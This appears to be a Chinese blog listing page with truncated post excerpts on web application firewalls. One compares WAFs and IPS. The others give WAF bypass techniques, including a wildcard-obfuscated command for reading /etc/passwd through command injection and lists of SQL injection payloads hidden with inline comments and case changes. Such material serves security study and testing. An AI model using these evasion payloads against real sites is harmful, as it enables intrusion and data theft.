Fly_鹏程万里

WAF与IPS的区别总结谁是最佳选择？Web应用防护无疑是一个热门话题。由于技术的发展成熟和人们对便利性的期望越来越高，Web应用成为主流的业务系统载体。在Web上“安家”的关键业务系统中蕴藏的数据价值引起攻击者的青睐，网上流传的Web漏洞挖掘和攻击工具让攻击的门槛降低，也使得很多攻击带有盲目和随机性。比如利用GoogleHacking原理的批量查找具有已知漏洞的应用程序，还有SQL批量注入和挂马...

命令注入之Web应用防火墙绕过技巧本文中讲述的绕过防火墙技巧，只适用于linux系统命令注入环境中，大家就不要纠结于这些绕过技巧不适用于mysql、window什么的。使用通配符绕过防火墙规则例如使用 /???/c?t /?t?/p??swd 来代替 cat /etc/passwd/???/c?t /?t?/p??swd 其实匹配到的是 /bash/cat /etc/passwd有时候我们想用ne...

WAF介绍什么是WAF？Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。基本/简单绕过方法：1、注释符http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….2、使用大小写http://www.site.com/index.php?page_id=-1...

[~] order by [~]/**/ORDER/**/BY/**//*!order*/+/*!by*//*!ORDER BY*//*!50000ORDER BY*//*!50000ORDER*//**//*!50000BY*//*!12345ORDER*/+/*!BY*/[~] UNION select [~]/*!00000Union*/ /*!00000Select*/...